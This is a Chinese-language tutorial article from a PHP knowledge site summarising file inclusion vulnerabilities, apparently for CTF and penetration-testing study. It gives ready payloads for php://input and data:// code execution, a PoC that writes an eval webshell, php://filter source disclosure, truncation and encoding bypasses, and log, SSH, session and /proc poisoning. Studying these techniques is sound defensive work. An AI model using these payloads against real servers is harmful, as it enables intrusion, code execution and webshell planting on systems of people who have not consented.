IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 文件包含漏洞相关知识总结 -> 正文阅读

[PHP知识库]文件包含漏洞相关知识总结

1.文件包含漏洞概念

通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入

2.文件包含漏洞的环境要求

allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据 allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

3.常见文件包含函数

include()和require()区别

include在引入不存文件时产生一个警告且脚本还会继续执行,require则会导致一个致命性错误且脚本停止执行

新建include.php文件

<?php
$a='phpinfo1.php';#包含不存在的文件
include $a;
#require $a;
echo "123";
?>

运行结果:require包含不会显示123

require_once和include_once该文件中已经被包含过,则不会再次包含

4.PHP伪协议在文件包含漏洞中的利用

4.1. php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行

如果存在文件包含漏洞,可将php://input作为文件名传入,同时在post中注入设置想要注入的代码,php执行时就会将post的内容作为php代码执行

4.1.1. 使用条件

allow_url_fopen:off/on

allow_url_include:on

4.1.2. 实例

<meta charset="utf8">
<?php
error_reporting(0);
$file=$_GET["file"];
if(stristr($file,"php://filter")||stristr($file,"zip://")||stristr($file,"phar://")||stristr($file,"data:")){
exit('hacker!');
}
if($file){
    if($file!="http://www.baidu.com")echo"tips:flag在当前目录的某个文件中";
    include($file);
}else{
    echo'click go baidu';
}
?>

执行任意代码poc:

?file=php://input
post数据:
<?php phpinfo(); ?>

写入木马poc:

?file=php://input
post数据:
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

读取目录结构poc:

?file=php://inputpost数据:
post数据:
<?php print_r(scandir('/var/www/html'));?>

4.2. data://

4.2.1. poc

data://[<MIME-type>][;charset=<encoding>][;base64],<data>
?file=data://,<?php phpinfo();
?file=data://text//plain,<?php phpinfo();
?file=data://text/plain;base64,xxxxxxxxx
?file=data:text/plain,</php phpinfo();
?file=data:text/plain;base64,xxxxxxxxxx

4.2.2.file://,zip://,compress.zlib://和bzip2://

4.3 使用条件

allow_url_fopen:off/on

allow_url_include:off/on

file://用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响(相同类型的还有zip://,zlib://和bzip2://)

file://必须是绝对路径

4.3.2. poc

以zip://为例

要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23

http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23code.txt

先将要执行的PHP代码写好文件名为code.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

4.4. phar://

4.4.1. poc

phar://...(当前脚本的绝对路径).../1.zip/1.php

4.5. php://filter

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。

poc:

?file=php://filter/resource=xxx.php
或
?file=php://filter/read=convert.base64-encode/resource=xxx.php
或
?file=php://filter/convert.base64-encode/resource=xxx.php #可绕过过滤了操作名read的waf
或
?file=php://filter/read=convert.base64-encode/resource=xxx.php #可用重写resource绕过正则为"/resource=*.jpg/i"的waf

4.6. 总结

php://input和data://可以注入任意代码;file://,zip://,zlib://,bzip2://,phar,php://filter可用于读取文件,可以结合文件上传漏洞进行利用。

5.文件包含漏洞的截断

5.1. %00截断

5.1.1. 要求

php版本小于5.3.4

magic_quotes_gpc为off状态

magic_quotes_gpc为on状态时%00前会被自动加上一个反斜杠转义

5.1.2. 实例

index.php

<?php
if(empty($_GET["file"])){
echo('../flag.php');
return;
}
else{
$filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';//限制了只能访问.html后缀名的文件,如果想访问.php后缀名的文件就需要截断后面的.html
include $filename;
}
?>

poc

index.php?file=../../flag.php%00

5.2. 路径长度截断

5.2.1. 要求

php版本小于5.2.8

5.2.2. 操作系统文件长度限制

  • windows 259个bytes
  • linux 4096个bytes

5.2.3. 实例

index.php

<?php
if(empty($_GET["file"])){
echo('../flag.php');
return;
}
else{
$filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';//限制了只能访问.html后缀名的文件,如果想访问.php后缀名的文件就需要阶段后面的.html
include $filename;
}
?>

5.2.4. poc

windows:

poc1:file=../../flag.php..............................................................................................................................................................................................................................................

poc2:file=../../flag.php./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

5.3.总结

一般来说如果php版本在5.3.4以下,先尝试使用%00截断,如果不行再使用路径长度截断

6.包含Apache日志文件

WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。

6.1. 使用条件

  • 对日志文件可读
  • 知道日志文件存储目录
  • curl命令行url请求工具(避免url转码的存在)

6.2. 获取日志存放路径

日志默认路径

(1) apache+Linux日志默认路径

/etc/httpd/logs/access_log

/var/log/httpd/access_log

(2) apache+win2003日志默认路径

D:\xampp\apache\logs\access.log

D:\xampp\apache\logs\error.log

(3) IIS6.0+win2003默认日志文件

C:\WINDOWS\system32\Logfiles

(4) IIS7.0+win2003 默认日志文件

%SystemDrive%\inetpub\logs\LogFiles

(5) nginx 日志文件

日志文件在用户安装目录logs目录下

以我的安装路径为例/usr/local/nginx,

那我的日志目录就是在/usr/local/nginx/logs里

6.3. 利用方式

使用浏览器访问特殊字符会被编码,可以使用curl避免特殊字符被编码,但是需要注意的是[ ]在curl是特殊符号,需要进行转义 ,不然curl使用时会报错

curl -v "http://xxxxx/file.php?page=<?php @eval($_POST\[123\]);?>"?page=<?php @eval($_POST\[123\]);?>"

7.包含SSH log 日志

7.1. 利用条件

需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log

7.2. 利用方式

首先使用ssh连接

ssh '<?php phpinfo(); ?>'@remotehost

然后随意输入密码

最后结合文件包含漏洞即可利用

8.包含SESSION

8.1. 利用条件

找到Session内的可控变量

Session文件可读写,并且知道存储路径

php的session文件的保存路径可以在phpinfo的session.save_path看到

8.2. session常见存储路径

/var/lib/php/sess_PHPSESSID

/var/lib/php/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

session文件格式:sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到

9.包含environ

利用条件:

php以cgi方式运行,这样environ才会保持UA头。

environ文件存储位置已知,且environ文件可读。

姿势:

/proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到中。之后再包含它即可。

10.包含/proc/self/fd/[environreferer]

apache的错误日志可能包含在/proc/self/fd/[envrionreferer],例如/proc/self/fd/2,/proc/self/fd/3,/proc/self/fd/10,可以使用burpsuite的测试器模块fuzz出该文件结构

fuzz字典:

/proc/self/cmdline

/proc/self/stat

/proc/self/status

/proc/self/fd/0

/proc/self/fd/1

/proc/self/fd/2

/proc/self/fd/3

/proc/self/fd/4

/proc/self/fd/5

/proc/self/fd/6

/proc/self/fd/7

/proc/self/fd/8

/proc/self/fd/9

/proc/self/fd/10

/proc/self/fd/11

/proc/self/fd/12

/proc/self/fd/13

/proc/self/fd/14

/proc/self/fd/15

/proc/self/fd/16

/proc/self/fd/17

/proc/self/fd/18

/proc/self/fd/19

/proc/self/fd/20

/proc/self/fd/21

/proc/self/fd/22

/proc/self/fd/23

/proc/self/fd/24

/proc/self/fd/25

/proc/self/fd/26

/proc/self/fd/27

/proc/self/fd/28

/proc/self/fd/29

/proc/self/fd/30

/proc/self/fd/31

/proc/self/fd/32

/proc/self/fd/33

/proc/self/fd/34

/proc/self/fd/35

11.包含临时文件

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考LFI With PHPInfo Assistance

12.其他包含姿势

包含stmp日志

包含xss

包含上传文件

13.文件包含漏洞的绕过方法

13.1. 特定前缀绕过

13.1.1. 目录遍历

使用 …/…/ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=…/…/phpinfo/phpinfo.php

13.1.2. 编码绕过

服务器端常常会对于…/等做一些过滤,可以用一些编码来进行绕过。

服务器端常常会对于…/等做一些过滤,可以用一些编码来进行绕过。

1.利用url编码

/%2e%2e%2f
...
%2f%2e%2e/

\%2e%2e%5c
...
%5c%2e%2e\

2.二次编码

/%252e%252e%252f
/%252e%252e%255c

13.2. 指定后缀绕过

13.2.1. query(?)

[访问参数] ?file=http://localhost:8081/phpinfo.php?

[拼接后]  ?file=http://localhost:8081/phpinfo.php?.txt

?将后面的.txt截断,web服务器会认为.txt是一个新的参数

13.2.2. fragment(#)

[访问参数] ?file=http://localhost:8081/phpinfo.php%23

[拼接后]  ?file=http://localhost:8081/phpinfo.php#.txt

13.2.3. zip://

[访问参数] ?file=zip://D:\zip.jpg%23phpinfo

[拼接后]  ?file=zip://D:\zip.jpg#phpinfo.txt

13.2.4. phar://

[访问参数] ?file=phar://zip.zip/phpinfo

[拼接后]  ?file=phar://zip.zip/phpinfo.txt

IT问答库?icon-default.png?t=M85Bhttp://www.mobiletrain.org/qa/

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-10-31 11:33:57  更:2022-10-31 11:34:32 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年3日历 -2024/3/28 20:33:08-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码